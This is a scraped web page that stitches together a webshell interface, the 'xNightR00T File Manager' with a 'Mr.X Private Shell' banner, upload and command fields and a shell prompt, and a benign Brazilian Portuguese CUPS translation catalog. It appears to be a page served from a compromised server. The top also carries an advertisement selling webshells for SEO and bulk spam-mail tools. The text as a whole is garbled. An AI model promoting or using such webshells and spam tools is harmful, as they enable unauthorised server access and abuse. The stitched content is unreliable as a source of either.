xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#
# "$Id$"
#
#   Brazilian Portuguese message catalog for CUPS.
#
#   Copyright 2007-2014 by Apple Inc.
#   Copyright 2005-2007 by Easy Software Products.
#
#   These coded instructions, statements, and computer programs are the
#   property of Apple Inc. and are protected by Federal copyright
#   law.  Distribution and use rights are outlined in the file
#   which should have been included with this file.  If this file is
#   file is missing or damaged, see the license at
#
msgid ""
msgstr ""
"Project-Id-Version: CUPS 1.7.4\n"
"Report-Msgid-Bugs-To: http://www.cups.org/str.php\n"
"POT-Creation-Date: 2014-05-09 13:32-0700\n"
"PO-Revision-Date: 2014-07-22 00:19-0300\n"
"Last-Translator: Rafael Ferreira <rafael.f.f1@gmail.com>\n"
"Language-Team: Brazilian Portuguese <traducao-cups-pt-br@googlegroups.com>\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.6.5\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"

msgid "\t\t(all)"
msgstr "\t\t(todos)"

msgid "\t\t(none)"
msgstr "\t\t(nenhum)"

#, c-format
msgid "\t%d entries"
msgstr "\t%d registros"

#, c-format
msgid "\t%s"
msgstr "\t%s"

msgid "\tAfter fault: continue"
msgstr "\tApós a falha: continuar"

#, c-format
msgid "\tAlerts: %s"
msgstr "\tAlertas: %s"

msgid "\tBanner required"
msgstr "\tBanner é necessário"

msgid "\tCharset sets:"
msgstr "\tDefinições de conjunto de caracteres:"

msgid "\tConnection: direct"
msgstr "\tConexão: direta"

msgid "\tConnection: remote"
msgstr "\tConexão: remota"

msgid "\tContent types: any"
msgstr "\tTipos de conteúdos: qualquer"

msgid "\tDefault page size:"
msgstr "\tTamanho de página padrão:"

msgid "\tDefault pitch:"
msgstr "\tPitch padrão:"

msgid "\tDefault port settings:"
msgstr "\tConfiguração de porta padrão:"

#, c-format
msgid "\tDescription: %s"
msgstr "\tDescrição: %s"

msgid "\tForm mounted:"
msgstr "\tFormulário montado:"

msgid "\tForms allowed:"
msgstr "\tFormulários permitidos:"

#, c-format
msgid "\tInterface: %s.ppd"
msgstr "\tInterface: %s.ppd"

#, c-format
msgid "\tInterface: %s/interfaces/%s"
msgstr "\tInterface: %s/interfaces/%s"

#, c-format
msgid "\tInterface: %s/ppd/%s.ppd"
msgstr "\tInterface: %s/ppd/%s.ppd"

#, c-format
msgid "\tLocation: %s"
msgstr "\tLocalização: %s"

msgid "\tOn fault: no alert"
msgstr "\tCaso de falha: nenhum alerta"

msgid "\tPrinter types: unknown"
msgstr "\tTipos de impressoras: desconhecido"

#, c-format
msgid "\tStatus: %s"
msgstr "\tEstado: %s"

msgid "\tUsers allowed:"
msgstr "\tUsuários permitidos:"

msgid "\tUsers denied:"
msgstr "\tUsuários proibidos:"

msgid "\tdaemon present"
msgstr "\tdaemon presente"

msgid "\tno entries"
msgstr "\tnenhum registro"

#, c-format
msgid "\tprinter is on device '%s' speed -1"
msgstr "\timpressora está na velocidade -1 do dispositivo \"%s\""

msgid "\tprinting is disabled"
msgstr "\timpressão está desabilitada"

msgid "\tprinting is enabled"
msgstr "\timpressão está habilitada"

#, c-format
msgid "\tqueued for %s"
msgstr "\tna fila de %s"

msgid "\tqueuing is disabled"
msgstr "\tenfileiramento está desabilitado"

msgid "\tqueuing is enabled"
msgstr "\tenfileiramento está habilitado"

msgid "\treason unknown"
msgstr "\tmotivo desconhecido"

msgid ""
"\n"
"    DETAILED CONFORMANCE TEST RESULTS"
msgstr ""
"\n"
"    RESULTADOS DETALHADOS DE TESTE DE CONFORMIDADE"

msgid "                          Ignore specific warnings."
msgstr "                          Ignora aviso específicos."

msgid "                          Issue warnings instead of errors."
msgstr "                          Emite avisos ao invés de erros."

msgid "                REF: Page 15, section 3.1."
msgstr "                REF: Página 15, seção 3.1."

msgid "                REF: Page 15, section 3.2."
msgstr "                REF: Página 15, seção 3.2."

msgid "                REF: Page 19, section 3.3."
msgstr "                REF: Página 19, seção 3.3."

msgid "                REF: Page 20, section 3.4."
msgstr "                REF: Página 20, seção 3.4."

msgid "                REF: Page 27, section 3.5."
msgstr "                REF: Página 27, seção 3.5."

msgid "                REF: Page 42, section 5.2."
msgstr "                REF: Página 42, seção 5.2."

msgid "                REF: Pages 16-17, section 3.2."
msgstr "                REF: Página 16-17, seção 3.2."

msgid "                REF: Pages 42-45, section 5.2."
msgstr "                REF: Página 42-45, seção 5.2."

msgid "                REF: Pages 45-46, section 5.2."
msgstr "                REF: Página 45-46, seção 5.2."

msgid "                REF: Pages 48-49, section 5.2."
msgstr "                REF: Página 48-49, seção 5.2."

msgid "                REF: Pages 52-54, section 5.2."
msgstr "                REF: Página 52-54, seção 5.2."

#, c-format
msgid "        %-39.39s %.0f bytes"
msgstr "        %-39.39s %.0f bytes"

#, c-format
msgid "        PASS    Default%s"
msgstr "        PASSOU  Default%s"

msgid "        PASS    DefaultImageableArea"
msgstr "        PASSOU  DefaultImageableArea"

msgid "        PASS    DefaultPaperDimension"
msgstr "        PASSOU  DefaultPaperDimension"

msgid "        PASS    FileVersion"
msgstr "        PASSOU  FileVersion"

msgid "        PASS    FormatVersion"
msgstr "        PASSOU  FormatVersion"

msgid "        PASS    LanguageEncoding"
msgstr "        PASSOU  LanguageEncoding"

msgid "        PASS    LanguageVersion"
msgstr "        PASSOU  LanguageVersion"

msgid "        PASS    Manufacturer"
msgstr "        PASSOU  Manufacturer"

msgid "        PASS    ModelName"
msgstr "        PASSOU  ModelName"

msgid "        PASS    NickName"
msgstr "        PASSOU  NickName"

msgid "        PASS    PCFileName"
msgstr "        PASSOU  PCFileName"

msgid "        PASS    PSVersion"
msgstr "        PASSOU  PSVersion"

msgid "        PASS    PageRegion"
msgstr "        PASSOU  PageRegion"

msgid "        PASS    PageSize"
msgstr "        PASSOU  PageSize"

msgid "        PASS    Product"
msgstr "        PASSOU  Product"

msgid "        PASS    ShortNickName"
msgstr "        PASSOU  ShortNickName"

#, c-format
msgid "        WARN    %s has no corresponding options."
msgstr "        AVISO   %s não possui opções correspondentes."

#, c-format
msgid ""
"        WARN    %s shares a common prefix with %s\n"
"                REF: Page 15, section 3.2."
msgstr ""
"        AVISO   %s compartilha um prefixo comum com %s\n"
"                REF: Página 15, seção 3.2."

#, c-format
msgid ""
"        WARN    Duplex option keyword %s may not work as expected and should "
"be named Duplex.\n"
"                REF: Page 122, section 5.17"
msgstr ""
"        AVISO   A opção Duplex de palavra-chave %s pode não funcionar como "
"esperado e deve ser renomeada para Duplex.\n"
"                REF: Página 122, seção 5.17"

msgid "        WARN    File contains a mix of CR, LF, and CR LF line endings."
msgstr ""
"        AVISO   Arquivo contém fim das linhas com uma mistura de CR, LF e CR "
"LF."

msgid ""
"        WARN    LanguageEncoding required by PPD 4.3 spec.\n"
"                REF: Pages 56-57, section 5.3."
msgstr ""
"        AVISO   LanguageEncoding é necessário pela especificação PPD 4.3.\n"
"                REF: Páginas 56-57, seção 5.3."

#, c-format
msgid "        WARN    Line %d only contains whitespace."
msgstr "        AVISO   Linha %d contém somente espaço em branco."

msgid ""
"        WARN    Manufacturer required by PPD 4.3 spec.\n"
"                REF: Pages 58-59, section 5.3."
msgstr ""
"        AVISO   Fabricante é necessário pela especificação PPD 4.3.\n"
"                REF: Páginas 58-59, seção 5.3."

msgid ""
"        WARN    Non-Windows PPD files should use lines ending with only LF, "
"not CR LF."
msgstr ""
"        AVISO   Arquivos PPD de sistemas não-Windows deveriam usar fim de "
"linhas somente com LR, e não CR LF."

#, c-format
msgid ""
"        WARN    Obsolete PPD version %.1f.\n"
"                REF: Page 42, section 5.2."
msgstr ""
"        AVISO   PPD versão %.1f está obsoleto.\n"
"                REF: Página 42, seção 5.2."

msgid ""
"        WARN    PCFileName longer than 8.3 in violation of PPD spec.\n"
"                REF: Pages 61-62, section 5.3."
msgstr ""
"        AVISO   PCFileName maior que 8.3 em violação com especificação PPD.\n"
"                REF: Páginas 61-62, seção 5.3."

msgid ""
"        WARN    PCFileName should contain a unique filename.\n"
"                REF: Pages 61-62, section 5.3."
msgstr ""
"        AVISO   PCFileName deveria conter um nome de arquivo único.\n"
"                REF: Páginas 61-62, seção 5.3."

msgid ""
"        WARN    Protocols contains PJL but JCL attributes are not set.\n"
"                REF: Pages 78-79, section 5.7."
msgstr ""
"        AVISO   Protocolos contêm PJL, mas atributos de JCL não estão "
"definidos.\n"
"                REF: Páginas 78-79, seção 5.7."

msgid ""
"        WARN    Protocols contains both PJL and BCP; expected TBCP.\n"
"                REF: Pages 78-79, section 5.7."
msgstr ""
"        AVISO   Protocolos contêm ambos PJL e BCP; esperava-se TBCP.\n"
"                REF: Páginas 78-79, seção 5.7."

msgid ""
"        WARN    ShortNickName required by PPD 4.3 spec.\n"
"                REF: Pages 64-65, section 5.3."
msgstr ""
"        AVISO   ShortNickName é necessário pela especificação PPD 4.3.\n"
"                REF: Páginas 64-65, seção 5.3."

msgid "       cupsaddsmb [options] -a"
msgstr "     cupsaddsmb [opções] -a"

msgid "       cupstestdsc [options] -"
msgstr "     cupstestdsc [opções] -"

msgid "       program | cupstestppd [options] -"
msgstr "     programa | cupstestppd [opções] -"

#, c-format
msgid ""
"      %s  \"%s %s\" conflicts with \"%s %s\"\n"
"                (constraint=\"%s %s %s %s\")."
msgstr ""
"      %s  \"%s %s\" conflita com \"%s %s\"\n"
"                (restrição=\"%s %s %s %s\")."

#, c-format
msgid "      %s  %s %s does not exist."
msgstr "      %s  %s %s não existe."

#, c-format
msgid "      %s  %s file \"%s\" has the wrong capitalization."
msgstr "      %s  Arquivo de %s \"%s\" possui letra maiúscula incorreta."

#, c-format
msgid ""
"      %s  Bad %s choice %s.\n"
"                REF: Page 122, section 5.17"
msgstr ""
"      %s  Escolha %s inválida para %s.\n"
"                REF: Página 122, seção 5.17"

#, c-format
msgid "      %s  Bad UTF-8 \"%s\" translation string for option %s, choice %s."
msgstr ""
"      %s  Má string de tradução de \"%s\" em UTF-8 para a opção %s, escolha "
"%s."

#, c-format
msgid "      %s  Bad UTF-8 \"%s\" translation string for option %s."
msgstr "      %s  Má string de tradução de \"%s\" em UTF-8 para a opção %s."

#, c-format
msgid "      %s  Bad cupsFilter value \"%s\"."
msgstr "      %s  Valor \"%s\" inválido para cupsFilter."

#, c-format
msgid "      %s  Bad cupsFilter2 value \"%s\"."
msgstr "      %s  Valor \"%s\" inválido para cupsFilter2."

#, c-format
msgid "      %s  Bad cupsICCProfile %s."
msgstr "      %s  cupsICCProfile %s inválido."

#, c-format
msgid "      %s  Bad cupsPreFilter value \"%s\"."
msgstr "      %s  Valor \"%s\" inválido para cupsPreFilter."

#, c-format
msgid "      %s  Bad cupsUIConstraints %s: \"%s\""
msgstr "      %s  cupsUIConstraints %s inválido: \"%s\""

#, c-format
msgid "      %s  Bad language \"%s\"."
msgstr "      %s  Idioma \"%s\" inválido."

#, c-format
msgid "      %s  Bad permissions on %s file \"%s\"."
msgstr "      %s  Permissões inválidas no arquivo %s \"%s\"."

#, c-format
msgid "      %s  Bad spelling of %s - should be %s."
msgstr "      %s  Pronúncia incorreta de %s - deveria ser %s."

#, c-format
msgid "      %s  Cannot provide both APScanAppPath and APScanAppBundleID."
msgstr ""
"      %s  Não é possível fornecer ambos APScanAppPath e APScanAppBundleID."

#, c-format
msgid "      %s  Default choices conflicting."
msgstr "      %s  Escolhas padrão conflitando."

#, c-format
msgid "      %s  Empty cupsUIConstraints %s"
msgstr "      %s  cupsUIConstraints %s vazia"

#, c-format
msgid "      %s  Missing \"%s\" translation string for option %s, choice %s."
msgstr ""
"      %s  Faltando string de tradução de \"%s\" para a opção %s, escolha %s."

#, c-format
msgid "      %s  Missing \"%s\" translation string for option %s."
msgstr "      %s  Faltando string de tradução de \"%s\" para a opção %s."

#, c-format
msgid "      %s  Missing %s file \"%s\"."
msgstr "      %s  Faltando %s arquivo \"%s\"."

#, c-format
msgid ""
"      %s  Missing REQUIRED PageRegion option.\n"
"                REF: Page 100, section 5.14."
msgstr ""
"      %s  Faltando opção NECESSÁRIA PageRegion.\n"
"                REF: Página 100, seção 5.14."

#, c-format
msgid ""
"      %s  Missing REQUIRED PageSize option.\n"
"                REF: Page 99, section 5.14."
msgstr ""
"      %s  Faltando opção NECESSÁRIA PageSize.\n"
"                REF: Página 99, seção 5.14."

#, c-format
msgid "      %s  Missing choice *%s %s in UIConstraints \"*%s %s *%s %s\"."
msgstr ""
"      %s  Faltando escolha de *%s %s em UIConstraints \"*%s %s *%s %s\"."

#, c-format
msgid "      %s  Missing choice *%s %s in cupsUIConstraints %s: \"%s\""
msgstr "      %s  Faltando escolha *%s %s em cupsUIConstraints %s: \"%s\""

#, c-format
msgid "      %s  Missing cupsUIResolver %s"
msgstr "      %s  Faltando cupsUIResolver %s"

#, c-format
msgid "      %s  Missing option %s in UIConstraints \"*%s %s *%s %s\"."
msgstr "      %s  Faltando a opção %s em UIConstraints \"*%s %s *%s %s\"."

#, c-format
msgid "      %s  Missing option %s in cupsUIConstraints %s: \"%s\""
msgstr "      %s  Faltando a opção %s em cupsUIConstraints %s: \"%s\""

#, c-format
msgid "      %s  No base translation \"%s\" is included in file."
msgstr "      %s  Nenhuma tradução base de \"%s\" está inclusa no arquivo."

#, c-format
msgid ""
"      %s  REQUIRED %s does not define choice None.\n"
"                REF: Page 122, section 5.17"
msgstr ""
"      %s  %s NECESSÁRIO não define a escolha None.\n"
"                REF: Página 122, seção 5.17"

#, c-format
msgid "      %s  Size \"%s\" defined for %s but not for %s."
msgstr "      %s  Tamanho \"%s\" definido para %s, mas não para %s."

#, c-format
msgid "      %s  Size \"%s\" has unexpected dimensions (%gx%g)."
msgstr "      %s  Tamanho \"%s\" tem dimensões inesperadas (%gx%g)."

#, c-format
msgid "      %s  Size \"%s\" should be \"%s\"."
msgstr "      %s  Tamanho \"%s\" deveria ser \"%s\"."

#, c-format
msgid "      %s  Size \"%s\" should be the Adobe standard name \"%s\"."
msgstr ""
"      %s  Tamanho \"%s\" deveria ser no padrão do Adobo chamado \"%s\"."

#, c-format
msgid "      %s  cupsICCProfile %s hash value collides with %s."
msgstr "      %s  Valor de hash de cupsICCProfile %s colide com %s."

#, c-format
msgid "      %s  cupsUIResolver %s causes a loop."
msgstr "      %s  cupsUIResolver %s causa um loop."

#, c-format
msgid ""
"      %s  cupsUIResolver %s does not list at least two different options."
msgstr ""
"      %s  cupsUIResolver %s não lista pelo menos duas opções diferentes."

#, c-format
msgid ""
"      **FAIL**  %s must be 1284DeviceID\n"
"                REF: Page 72, section 5.5"
msgstr ""
"      **FALHA** %s deve ser 1284DeviceID\n"
"                REF: Página 72, seção 5.5"

#, c-format
msgid ""
"      **FAIL**  Bad Default%s %s\n"
"                REF: Page 40, section 4.5."
msgstr ""
"      **FALHA** Default%s inválido %s\n"
"                REF: Página 40, seção 4.5."

#, c-format
msgid ""
"      **FAIL**  Bad DefaultImageableArea %s\n"
"                REF: Page 102, section 5.15."
msgstr ""
"      **FALHA** DefaultImageableArea inválido %s\n"
"                REF: Página 102, seção 5.15."

#, c-format
msgid ""
"      **FAIL**  Bad DefaultPaperDimension %s\n"
"                REF: Page 103, section 5.15."
msgstr ""
"      **FALHA** DefaultPaperDimension inválido %s\n"
"                REF: Página 103, seção 5.15."

#, c-format
msgid ""
"      **FAIL**  Bad FileVersion \"%s\"\n"
"                REF: Page 56, section 5.3."
msgstr ""
"      **FALHA** FileVersion inválido \"%s\"\n"
"                REF: Página 56, seção 5.3."

#, c-format
msgid ""
"      **FAIL**  Bad FormatVersion \"%s\"\n"
"                REF: Page 56, section 5.3."
msgstr ""
"      **FALHA** FormatVersion inválido \"%s\"\n"
"                REF: Página 56, seção 5.3."

msgid ""
"      **FAIL**  Bad JobPatchFile attribute in file\n"
"                REF: Page 24, section 3.4."
msgstr ""
"      **FALHA** Atributo inválido de JobPatchFile no arquivo\n"
"                REF: Página 24, seção 3.4."

#, c-format
msgid "      **FAIL**  Bad LanguageEncoding %s - must be ISOLatin1."
msgstr "      **FALHA** LanguageEncoding inválido %s - tem que ser ISOLatin1."

#, c-format
msgid "      **FAIL**  Bad LanguageVersion %s - must be English."
msgstr "      **FALHA** LanguageVersion inválido %s - deve ser Inglês."

#, c-format
msgid ""
"      **FAIL**  Bad Manufacturer (should be \"%s\")\n"
"                REF: Page 211, table D.1."
msgstr ""
"      **FALHA** Manufacturer inválido (deveria ser \"%s\")\n"
"                REF: Página 211, tabela D.1."

#, c-format
msgid ""
"      **FAIL**  Bad ModelName - \"%c\" not allowed in string.\n"
"                REF: Pages 59-60, section 5.3."
msgstr ""
"      **FALHA** ModelName inválido - \"%c\" não permitido na string.\n"
"                REF: Páginas 59-60, seção 5.3."

msgid ""
"      **FAIL**  Bad PSVersion - not \"(string) int\".\n"
"                REF: Pages 62-64, section 5.3."
msgstr ""
"      **FALHA** PSVersion inválida - não \"(string) int\".\n"
"                REF: Páginas 62-64, seção 5.3."

msgid ""
"      **FAIL**  Bad Product - not \"(string)\".\n"
"                REF: Page 62, section 5.3."
msgstr ""
"      **FALHA** Product inválido - não \"(string)\".\n"
"                REF: Página 62, seção 5.3."

msgid ""
"      **FAIL**  Bad ShortNickName - longer than 31 chars.\n"
"                REF: Pages 64-65, section 5.3."
msgstr ""
"      **FALHA** ShortNickName inválido - maior do que 31 caracteres.\n"
"                REF: Páginas 64-65, seção 5.3."

#, c-format
msgid ""
"      **FAIL**  Bad option %s choice %s\n"
"                REF: Page 84, section 5.9"
msgstr ""
"      **FALHA** Opção inválido %s escolha %s\n"
"                REF: Página 84, seção 5.9"

#, c-format
msgid "      **FAIL**  Default option code cannot be interpreted: %s"
msgstr "      **FALHA** Código de opção padrão não pode ser interpretado: %s"

#, c-format
msgid ""
"      **FAIL**  Default translation string for option %s choice %s contains "
"8-bit characters."
msgstr ""
"      **FALHA** String de tradução padrão para opção %s escolha %s contém "
"caracteres de 8-bit."

#, c-format
msgid ""
"      **FAIL**  Default translation string for option %s contains 8-bit "
"characters."
msgstr ""
"      **FALHA** String de tradução padrão para opção %s contém caracteres de "
"8-bit."

#, c-format
msgid "      **FAIL**  Group names %s and %s differ only by case."
msgstr ""
"      **FALHA** Nomes dos grupos %s e %s se diferem somente por maiúsculo/"
"minúsculo."

#, c-format
msgid "      **FAIL**  Multiple occurrences of option %s choice name %s."
msgstr "      **FALHA** Múltiplas ocorrências da opção %s escolha de nome %s."

#, c-format
msgid "      **FAIL**  Option %s choice names %s and %s differ only by case."
msgstr ""
"      **FALHA** Opção %s escolha de nomes %s e %s se diferem somente por "
"maiúsculo/minúsculo."

#, c-format
msgid "      **FAIL**  Option names %s and %s differ only by case."
msgstr ""
"      **FALHA** Os nomes de opção %s e %s se diferem somente por maiúsculo/"
"minúsculo."

#, c-format
msgid ""
"      **FAIL**  REQUIRED Default%s\n"
"                REF: Page 40, section 4.5."
msgstr ""
"      **FALHA** NECESSÁRIO Default%s\n"
"                REF: Página 40, seção 4.5."

msgid ""
"      **FAIL**  REQUIRED DefaultImageableArea\n"
"                REF: Page 102, section 5.15."
msgstr ""
"      **FALHA** NECESSÁRIO DefaultImageableArea\n"
"                REF: Página 102, seção 5.15."

msgid ""
"      **FAIL**  REQUIRED DefaultPaperDimension\n"
"                REF: Page 103, section 5.15."
msgstr ""
"      **FALHA** NECESSÁRIO DefaultPaperDimension\n"
"                REF: Página 103, seção 5.15."

msgid ""
"      **FAIL**  REQUIRED FileVersion\n"
"                REF: Page 56, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO FileVersion\n"
"                REF: Página 56, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED FormatVersion\n"
"                REF: Page 56, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO FormatVersion\n"
"                REF: Página 56, seção 5.3."

#, c-format
msgid ""
"      **FAIL**  REQUIRED ImageableArea for PageSize %s\n"
"                REF: Page 41, section 5.\n"
"                REF: Page 102, section 5.15."
msgstr ""
"      **FALHA** NECESSÁRIO ImageableArea para PageSize %s\n"
"                REF: Página 41, seção 5.\n"
"                REF: Página 102, seção 5.15."

msgid ""
"      **FAIL**  REQUIRED LanguageEncoding\n"
"                REF: Pages 56-57, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO LanguageEncoding\n"
"                REF: Páginas 56-57, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED LanguageVersion\n"
"                REF: Pages 57-58, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO LanguageVersion\n"
"                REF: Páginas 57-58, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED Manufacturer\n"
"                REF: Pages 58-59, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO Manufacturer\n"
"                REF: Páginas 58-59, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED ModelName\n"
"                REF: Pages 59-60, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO ModelName\n"
"                REF: Páginas 59-60, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED NickName\n"
"                REF: Page 60, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO NickName\n"
"                REF: Página 60, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED PCFileName\n"
"                REF: Pages 61-62, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO PCFileName\n"
"                REF: Páginas 61-62, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED PSVersion\n"
"                REF: Pages 62-64, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO PSVersion\n"
"                REF: Páginas 62-64, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED PageRegion\n"
"                REF: Page 100, section 5.14."
msgstr ""
"      **FALHA** NECESSÁRIO PageRegion\n"
"                REF: Página 100, seção 5.14."

msgid ""
"      **FAIL**  REQUIRED PageSize\n"
"                REF: Page 41, section 5.\n"
"                REF: Page 99, section 5.14."
msgstr ""
"      **FALHA** NECESSÁRIO PageSize\n"
"                REF: Página 41, seção 5.\n"
"                REF: Página 99, seção 5.14."

msgid ""
"      **FAIL**  REQUIRED PageSize\n"
"                REF: Pages 99-100, section 5.14."
msgstr ""
"      **FALHA** NECESSÁRIO PageSize\n"
"                REF: Páginas 99-100, seção 5.14."

#, c-format
msgid ""
"      **FAIL**  REQUIRED PaperDimension for PageSize %s\n"
"                REF: Page 41, section 5.\n"
"                REF: Page 103, section 5.15."
msgstr ""
"      **FALHA** NECESSÁRIO PaperDimension para PageSize %s\n"
"                REF: Página 41, seção 5.\n"
"                REF: Página 103, seção 5.15."

msgid ""
"      **FAIL**  REQUIRED Product\n"
"                REF: Page 62, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO Product\n"
"                REF: Página 62, seção 5.3."

msgid ""
"      **FAIL**  REQUIRED ShortNickName\n"
"                REF: Page 64-65, section 5.3."
msgstr ""
"      **FALHA** NECESSÁRIO ShortNickName\n"
"                REF: Página 64-65, seção 5.3."

#, c-format
msgid "      **FAIL**  Unable to open PPD file - %s on line %d."
msgstr "      **FALHA** Não foi possível abrir o arquivo PPD - %s na linha %d."

#, c-format
msgid "    %d ERRORS FOUND"
msgstr "    %d ERROS ENCONTRADOS"

msgid "    -h       Show program usage"
msgstr "    -h       Mostra formas de uso do programa"

#, c-format
msgid ""
"    Bad %%%%BoundingBox: on line %d.\n"
"        REF: Page 39, %%%%BoundingBox:"
msgstr ""
"    %%%%BoundingBox inválida: na linha %d.\n"
"        REF: Página 39, %%%%BoundingBox:"

#, c-format
msgid ""
"    Bad %%%%Page: on line %d.\n"
"        REF: Page 53, %%%%Page:"
msgstr ""
"    %%%%Page inválida: na linha %d.\n"
"        REF: Página 53, %%%%Page:"

#, c-format
msgid ""
"    Bad %%%%Pages: on line %d.\n"
"        REF: Page 43, %%%%Pages:"
msgstr ""
"    %%%%Pages inválida: na linha %d.\n"
"        REF: Página 43, %%%%Pages:"

#, c-format
msgid ""
"    Line %d is longer than 255 characters (%d).\n"
"        REF: Page 25, Line Length"
msgstr ""
"    Linha %d é maior do que 255 caracteres (%d).\n"
"        REF: Página 25, Line Length"

msgid ""
"    Missing %!PS-Adobe-3.0 on first line.\n"
"        REF: Page 17, 3.1 Conforming Documents"
msgstr ""
"    Faltando %!PS-Adobe-3.0 na primeira linha.\n"
"        REF: Página 17, 3.1 Conforming Documents"

#, c-format
msgid "    Missing %%EndComments comment.        REF: Page 41, %%EndComments"
msgstr ""
"    Faltando comentário de %%EndComments.        REF: Página 41, "
"%%EndComments"

#, c-format
msgid ""
"    Missing or bad %%BoundingBox: comment.\n"
"        REF: Page 39, %%BoundingBox:"
msgstr ""
"    Faltando %%BoundingBox ou é inválido: comentário.\n"
"        REF: Página 39, %%BoundingBox:"

#, c-format
msgid ""
"    Missing or bad %%Page: comments.\n"
"        REF: Page 53, %%Page:"
msgstr ""
"    Faltando %%Page ou inválido: comentários.\n"
"        REF: Página 53, %%Page:"

#, c-format
msgid ""
"    Missing or bad %%Pages: comment.\n"
"        REF: Page 43, %%Pages:"
msgstr ""
"    Faltando %%Pages ou inválido: comentário.\n"
"        REF: Página 43, %%Pages:"

msgid "    NO ERRORS FOUND"
msgstr "    NENHUM ERRO ENCONTRADO"

#, c-format
msgid "    Saw %d lines that exceeded 255 characters."
msgstr "    Cortadas %d linhas que excederam a 255 caracteres."

#, c-format
msgid "    Too many %%BeginDocument comments."
msgstr "    Número excessivo de comentários de %%BeginDocument."

#, c-format
msgid "    Too many %%EndDocument comments."
msgstr "    Número excessivo de comentários de %%EndDocument."

msgid "    Warning: file contains binary data."
msgstr "    Aviso: arquivo contém dados binários."

#, c-format
msgid "    Warning: no %%EndComments comment in file."
msgstr "    Aviso: nenhum comentário de %%EndComments no arquivo."

#, c-format
msgid "    Warning: obsolete DSC version %.1f in file."
msgstr "    Aviso: versão %.1f obsoleta de DSC no arquivo."

msgid "  ! expression            Unary NOT of expression."
msgstr "  ! expressão             Unário NÃO de expressão."

msgid "  ( expressions )         Group expressions."
msgstr "  ( expressões )          Grupo de expressões."

msgid "  --[no-]debug-logging    Turn debug logging on/off."
msgstr "  --[no-]debug-logging    Habilita ou desabilita depuração dos logs."

msgid "  --[no-]remote-admin     Turn remote administration on/off."
msgstr "  --[no-]remote-admin     Habilita ou desabilita administração remota."

msgid "  --[no-]remote-any       Allow/prevent access from the Internet."
msgstr "  --[no-]remote-any       Permite/proíbe acesso por meio da Internet."

msgid "  --[no-]share-printers   Turn printer sharing on/off."
msgstr ""
"  --[no-]share-printers   Habilita ou desabilita compartilhamento de "
"impressora."

msgid "  --[no-]user-cancel-any  Allow/prevent users to cancel any job."
msgstr ""
"  --[no-]user-cancel-any  Permite/proíbe os usuários cancelar qualquer "
"trabalho."

msgid "  --cr                    End lines with CR (Mac OS 9)."
msgstr "  --cr                    Fim de linhas com CR (Mac OS 9)."

msgid "  --crlf                  End lines with CR + LF (Windows)."
msgstr "  --crlf                  Fim de linhas com CR + LF (Windows)."

msgid "  --domain regex          Match domain to regular expression."
msgstr "  --domain regex          Corresponde o domínio à expressão regular."

msgid ""
"  --exec utility [argument ...] ;\n"
"                          Execute program if true."
msgstr ""
"  --exec utilitário [argumento ...] ;\n"
"                          Executa o programa se verdadeiro."

msgid "  --false                 Always false."
msgstr "  --false                 Sempre falso."

msgid "  --help                  Show this help."
msgstr "  --help                  Mostra esta ajuda."

msgid "  --host regex            Match hostname to regular expression."
msgstr ""
"  --host regex            Corresponde o nome da máquina à expressão regular."

msgid "  --lf                    End lines with LF (UNIX/Linux/OS X)."
msgstr "  --lf                    Fim de linhas com LF (UNIX/Linux/OS X)."

msgid "  --local                 True if service is local."
msgstr "  --local                 Verdadeiro se o serviço for local."

msgid "  --ls                    List attributes."
msgstr "  --ls                    Lista os atributos."

msgid "  --name regex            Match service name to regular expression."
msgstr ""
"  --name regex            Corresponde o nome do serviço à expressão regular."

msgid "  --not expression        Unary NOT of expression."
msgstr "  --not expressão         Unário NÃO da expressão."

msgid "  --path regex            Match resource path to regular expression."
msgstr ""
"  --path regex            Corresponde o caminho do recurso à expressão "
"regular."

msgid "  --port number[-number]  Match port to number or range."
msgstr "  --port número[-número]  Corresponde a porta ao número ou faixa."

msgid "  --print                 Print URI if true."
msgstr "  --print                 Exibe a URI se verdadeiro."

msgid "  --print-name            Print service name if true."
msgstr "  --print-name            Exibe o nome do serviço se verdadeiro."

msgid "  --quiet                 Quietly report match via exit code."
msgstr ""
"  --quiet                 Relata silenciosamente correspondências via "
"código                              de saída."

msgid "  --remote                True if service is remote."
msgstr "  --remote                Verdeiro se o serviço for remoto."

msgid "  --true                  Always true."
msgstr "  --true                  Sempre verdadeiro."

msgid "  --txt key               True if the TXT record contains the key."
msgstr ""
"  --txt chave             Verdadeiro se o registro TXT contiver a chave."

